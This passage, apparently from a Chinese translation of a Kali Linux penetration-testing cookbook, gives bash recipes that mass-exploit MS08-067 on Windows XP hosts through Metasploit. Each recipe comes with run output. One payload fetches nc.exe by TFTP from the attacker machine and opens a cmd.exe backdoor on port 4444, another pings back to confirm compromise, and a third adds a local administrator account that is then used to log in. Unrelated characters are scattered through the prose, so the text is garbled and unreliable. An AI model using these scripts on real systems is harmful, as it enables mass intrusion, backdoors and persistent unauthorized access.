通過對每個(gè)進(jìn)程使用單獨(dú)的終端,可以使用單個(gè) bash 腳本執(zhí)行多個(gè)并行利用包个。 另外刷允,通過使用為LPORT
分配的遞增值,可以同時(shí)執(zhí)行多個(gè)反向 meterpreter shell。
8.6 使用可執(zhí)行后門的多線程 MSF 利用
該秘籍演示了如何使用 bash 树灶,在多個(gè)系統(tǒng)上利用單個(gè)漏洞纤怒,并在每個(gè)系統(tǒng)上打開一個(gè)后門。 后門包括在目標(biāo)系統(tǒng)上暫存 Netcat 可執(zhí)行文件天通,并打開監(jiān)聽服務(wù)泊窘,在收到連接后執(zhí)行cmd.exe
。
準(zhǔn)備
要使用此秘籍中演示的腳本像寒,你需要訪問多個(gè)系統(tǒng)烘豹,每個(gè)系統(tǒng)都具有可使用 Metasploit 利用的相同漏洞。 提供的示例復(fù)制了運(yùn)行 Windows XP 漏洞版本的 VM诺祸,來生成 MS08-067 漏洞的三個(gè)實(shí)例携悯。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請參閱本書第一章中的“安裝 Windows Server”秘籍序臂。 此外蚌卤,本節(jié)還需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息奥秆,請參閱本書第一章的“使用文本編輯器(VIM 和 Nano)”秘籍逊彭。
操作步驟
下面的示例演示了如何使用 bash 腳本同時(shí)利用單個(gè)漏洞的多個(gè)實(shí)例。 特別是构订,此腳本可用于通過引用 IP 地址的輸入列表侮叮,來利用 MS08-067 NetAPI 漏洞的多個(gè)實(shí)例:
#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file>";
exit; fi
iplist=$1
for ip in $(cat $iplist)
do
gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c \"tftp -i 172.16.36.239 GET nc.exe && nc.exe -lvp 4444 -e cmd.exe\"" RHOST=$ip E
echo "Exploiting $ip and creating backdoor on TCP port 4444"
done
此腳本與上一個(gè)秘籍中討論的腳本不同,因?yàn)榇四_本在每個(gè)目標(biāo)上安裝一個(gè)后門悼瘾。 在每個(gè)被利用的系統(tǒng)上囊榜,會(huì)執(zhí)行一個(gè)載荷,它使用集成的簡單文件傳輸協(xié)議(TFTP)客戶端來抓取 Netcat 可執(zhí)行文件亥宿,然后使用它在 TCP 端口 4444 上打開一個(gè)cmd.exe
監(jiān)聽終端服務(wù)卸勺。為此, TFTP 服務(wù)將需要在 Kali 系統(tǒng)上運(yùn)行烫扼。 這可以通過執(zhí)行以下命令來完成:
root@KaliLinux:~# atftpd --daemon --port 69 /tmp
root@KaliLinux:~# cp /usr/share/windows-binaries/nc.exe /tmp/nc.exe
第一個(gè)命令在 UDP 端口 69 上啟動(dòng) TFTP 服務(wù)曙求,服務(wù)目錄在/ tmp
中。 第二個(gè)命令用于將 Netcat 可執(zhí)行文件從Windows-binaries
文件夾復(fù)制到 TFTP 目錄映企。 現(xiàn)在我們執(zhí)行./multipwn.sh
bash shell:
root@KaliLinux:~# ./multipwn.sh
Usage: #./script <host file>
root@KaliLinux:~# ./multipwn.sh iplist.txt
Exploiting 172.16.36.132 and creating backdoor on TCP port 4444
Exploiting 172.16.36.158 and creating backdoor on TCP port 4444
Exploiting 172.16.36.225 and creating backdoor on TCP port 4444
如果在不提供任何參數(shù)的情況下執(zhí)行腳本悟狱,腳本將輸出相應(yīng)的用法。 該使用描述表明堰氓,該腳本應(yīng)該以一個(gè)參數(shù)執(zhí)行挤渐,該參數(shù)指定了包含目標(biāo) IP 地址列表的文本文件的文件名。 一旦以這個(gè)參數(shù)執(zhí)行双絮,會(huì)開始彈出一系列新的終端浴麻。 這些終端中的每一個(gè)將運(yùn)行輸入列表中的 IP 地址之一的利用序列得问。 原始執(zhí)行終端在它們被執(zhí)行時(shí)輸出進(jìn)程列表,并且表明在每個(gè)終端上創(chuàng)建后門白胀。 在每個(gè)終端中完成利用序列之后椭赋,Netcat 可以用于連接到由載荷打開的遠(yuǎn)程服務(wù):
root@KaliLinux:~# nc -nv 172.16.36.225 4444
(UNKNOWN) [172.16.36.225] 4444 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>
在提供的示例中抚岗,IP 地址為172.16.36.225
的被利用的系統(tǒng)上的 TCP 4444 端口的連接或杠,會(huì)生成可遠(yuǎn)程訪問的cmd.exe
終端服務(wù)。
工作原理
Netcat 是一個(gè)功能強(qiáng)大的工具宣蔚,可以用于各種目的向抢。 雖然這是遠(yuǎn)程執(zhí)行服務(wù)的有效方式,但不建議在生產(chǎn)系統(tǒng)上使用此技術(shù)胚委。 這是因?yàn)槿魏慰梢耘c監(jiān)聽端口建立 TCP 連接的人都可以訪問 Netcat 打開的后門挟鸠。
8.7 使用 ICMP 驗(yàn)證多線程 MSF 利用
該秘籍演示了如何使用 bash 利用跨多個(gè)系統(tǒng)的單個(gè)漏洞,并使用 ICMP 流量驗(yàn)證每個(gè)漏洞的成功利用亩冬。 這種技術(shù)需要很少的開銷艘希,并且可以輕易用于收集可利用的系統(tǒng)列表。
準(zhǔn)備
要使用此秘籍中演示的腳本硅急,你需要訪問多個(gè)系統(tǒng)覆享,每個(gè)系統(tǒng)都具有可使用 Metasploit 利用的相同漏洞。 提供的示例復(fù)制了運(yùn)行 Windows XP 漏洞版本的 VM营袜,來生成 MS08-067 漏洞的三個(gè)實(shí)例撒顿。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請參閱本書第一章中的“安裝 Windows Server”秘籍荚板。 此外凤壁,本節(jié)還需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息跪另,請參閱本書第一章的“使用文本編輯器(VIM 和 Nano)”秘籍拧抖。
操作步驟
下面的示例演示了如何使用 bash 腳本同時(shí)利用單個(gè)漏洞的多個(gè)實(shí)例。 特別是免绿,此腳本可用于通過引用 IP 地址的輸入列表來利用 MS08-067 NetAPI 漏洞的多個(gè)實(shí)例:
#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file>";
exit; fi
iplist=$1
for ip in $(cat $iplist)
do
gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c ping \"172.16.36.239 -n 1 -i 15\""
RHOST=$ip E
echo "Exploiting $ip and pinging"
done
此腳本與上一個(gè)秘籍中討論的腳本不同唧席,因?yàn)檩d荷僅僅從被利用系統(tǒng)向攻擊系統(tǒng)發(fā)回 ICMP 回響請求。 在執(zhí)行ping
命令并使用-i
選項(xiàng)來指定生存時(shí)間(TTL)為15 時(shí)针姿。此備用TTL值用于區(qū)分利用生成的流量與正常 ICMP 流量袱吆。 還應(yīng)該執(zhí)行定制的 Python 監(jiān)聽器腳本,通過接收 ICMP 流量來識別被利用的系統(tǒng)距淫。 這個(gè)腳本如下:
#!/usr/bin/python
from scapy.all import *
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def rules(pkt):
try:
if ((pkt[IP].dst=="172.16.36.239") and (pkt[ICMP]) and pkt[IP]. ttl <= 15):
print str(pkt[IP].src) + " is exploitable"
except:
pass
print "Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning"
sniff(lfilter=rules,store=0)
腳本偵聽所有傳入的流量绞绒。 當(dāng)接收到 TTL 值為 15或 更小的 ICMP 數(shù)據(jù)包時(shí),腳本將系統(tǒng)標(biāo)記為可利用榕暇。
root@KaliLinux:~# ./listener.py
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning
Python流量監(jiān)聽器應(yīng)該首先執(zhí)行蓬衡。 腳本最初不應(yīng)生成輸出喻杈。 此腳本應(yīng)該在開發(fā)過程的整個(gè)時(shí)間內(nèi)持續(xù)運(yùn)行。 一旦腳本運(yùn)行狰晚,應(yīng)該啟動(dòng) bash 利用腳本筒饰。
root@KaliLinux:~# ./multipwn.sh iplist.txt
Exploiting 172.16.36.132 and pinging
Exploiting 172.16.36.158 and pinging
Exploiting 172.16.36.225 and pinging
當(dāng)執(zhí)行腳本時(shí),原始終端 shell 會(huì)顯示每個(gè)系統(tǒng)正在被利用壁晒,并且正在執(zhí)行ping
序列瓷们。 還將為輸入列表中的每個(gè) IP 地址打開一個(gè)新的 GNOME 終端。 當(dāng)每個(gè)利用過程完成時(shí)秒咐,應(yīng)該從目標(biāo)系統(tǒng)發(fā)起 ICMP 回響請求:
root@KaliLinux:~# ./listener.py
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning
172.16.36.132 is exploitable
172.16.36.158 is exploitable
172.16.36.225 is exploitable
假設(shè)攻擊成功谬晕,Python 監(jiān)聽腳本會(huì)識別生成的流量,并將 ICMP 流量的每個(gè)源 IP 地址列為可利用携取。
工作原理
ICMP 流量似乎是一種用于驗(yàn)證目標(biāo)系統(tǒng)的可利用性的非直觀方式攒钳。 然而,它實(shí)際上工作得很好雷滋。 單個(gè) ICMP 回響請求在目標(biāo)系統(tǒng)上沒有留下任何利用的痕跡不撑,并且不需要過多的開銷。 此外晤斩,將 TTL 值設(shè)為 15 不太可能產(chǎn)生誤報(bào)焕檬,因?yàn)閹缀跛邢到y(tǒng)都以 128 或更高的TTL值開始。
8.8 創(chuàng)建管理賬戶的多線程 MSF 利用
該秘籍展示了如何使用 bash 尸昧,在多個(gè)系統(tǒng)上利用單個(gè)漏洞揩页,并在每個(gè)系統(tǒng)上添加一個(gè)新的管理員帳戶。 該技術(shù)可以用于以后通過使用集成終端服務(wù)或 SMB 認(rèn)證來訪問淪陷的系統(tǒng)烹俗。
準(zhǔn)備
要使用此秘籍中演示的腳本爆侣,你需要訪問多個(gè)系統(tǒng),每個(gè)系統(tǒng)都具有可使用 Metasploit 利用的相同漏洞幢妄。 提供的示例復(fù)制了運(yùn)行 Windows XP 漏洞版本的 VM兔仰,來生成 MS08-067 漏洞的三個(gè)實(shí)例。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息蕉鸳,請參閱本書第一章中的“安裝 Windows Server”秘籍乎赴。 此外,本節(jié)還需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)潮尝。 有關(guān)編寫腳本的更多信息榕吼,請參閱本書第一章的“使用文本編輯器(VIM 和 Nano)”秘籍。
操作步驟
下面的示例演示了如何使用 bash 腳本同時(shí)利用單個(gè)漏洞的多個(gè)實(shí)例勉失。 特別是羹蚣,此腳本可用于通過引用 IP 地址的輸入列表來利用 MS08-067 NetAPI 漏洞的多個(gè)實(shí)例:
#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file> <username> <password>";
exit; fi
iplist=$1
user=$2
pass=$3
for ip in $(cat $iplist)
do
gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c \"net user $user $pass /add && net localgroup administrators $user /add\"" RHOST=$ip E
echo "Exploiting $ip and adding user $user"
done
由于載荷不同,此腳本與以前的多線程利用腳本不同乱凿。 這里顽素,在成功利用時(shí)會(huì)依次執(zhí)行兩個(gè)命令咽弦。 這兩個(gè)命令中的第一個(gè)命令創(chuàng)建一個(gè)名為hutch
的新用戶帳戶,并定義關(guān)聯(lián)的密碼胁出。 第二個(gè)命令將新創(chuàng)建的用戶帳戶添加到本地Administrators
組:
root@KaliLinux:~# ./multipwn.sh
Usage: #./script <host file> <username> <password>
root@KaliLinux:~# ./multipwn.sh iplist.txt hutch P@33word
Exploiting 172.16.36.132 and adding user hutch
Exploiting 172.16.36.158 and adding user hutch
Exploiting 172.16.36.225 and adding user hutch
如果在不提供任何參數(shù)的情況下執(zhí)行腳本型型,腳本將輸出相應(yīng)的用法。 該使用描述表明全蝶,該腳本應(yīng)該以一個(gè)參數(shù)來執(zhí)行闹蒜,該參數(shù)指定了包含目標(biāo) IP 地址列表的文本文件的文件名。 一旦以這個(gè)參數(shù)執(zhí)行裸诽,會(huì)開始彈出一系列新的終端嫂用。 這些終端中的每一個(gè)將運(yùn)行輸入列表中的 IP 地址之一的利用序列。 原始執(zhí)行終端將在執(zhí)行時(shí)輸出進(jìn)程列表丈冬,并顯是在每個(gè)進(jìn)程上添加的新用戶帳戶。 在每個(gè)終端中完成利用序列之后甘畅,可以通過諸如 RDP 的集成終端服務(wù)埂蕊,或通過遠(yuǎn)程 SMB 認(rèn)證來訪問系統(tǒng)。 為了演示添加了該帳戶疏唾,Metasploit SMB_Login 輔助模塊用于使用新添加的憑據(jù)遠(yuǎn)程登錄到受攻擊的系統(tǒng):
msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > set SMBUser hutch
SMBUser => hutch
msf auxiliary(smb_login) > set SMBPass P@33word
SMBPass => P@33word
msf auxiliary(smb_login) > set RHOSTS 172.16.36.225
RHOSTS => 172.16.36.225
msf auxiliary(smb_login) > run
[*] 172.16.36.225:445 SMB - Starting SMB login bruteforce
[+] 172.16.36.225:445 - SUCCESSFUL LOGIN (Windows 5.1) hutch : [STATUS_ SUCCESS]
[*] Username is case insensitive
[*] Domain is ignored
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
SMB_Login
輔助模塊的結(jié)果表明蓄氧,使用新創(chuàng)建的憑據(jù)登錄成功。 然后槐脏,這個(gè)新創(chuàng)建的帳戶可以用于進(jìn)一步的惡意目的喉童,或者可以使用腳本來測試帳戶是否存在,來驗(yàn)證漏洞的利用顿天。
工作原理
通過在每個(gè)利用的系統(tǒng)上添加用戶帳戶堂氯,攻擊者可以繼續(xù)對該系統(tǒng)執(zhí)行后續(xù)操作。 這種方法有優(yōu)點(diǎn)和缺點(diǎn)牌废。 在受淪陷系統(tǒng)上添加新帳戶比攻破現(xiàn)有帳戶更快咽白,并且可以立即訪問現(xiàn)有的遠(yuǎn)程服務(wù)(如 RDP)。 但是鸟缕,添加新帳戶并不非常隱秘晶框,有時(shí)可以觸發(fā)基于主機(jī)的入侵檢測系統(tǒng)的警報(bào)。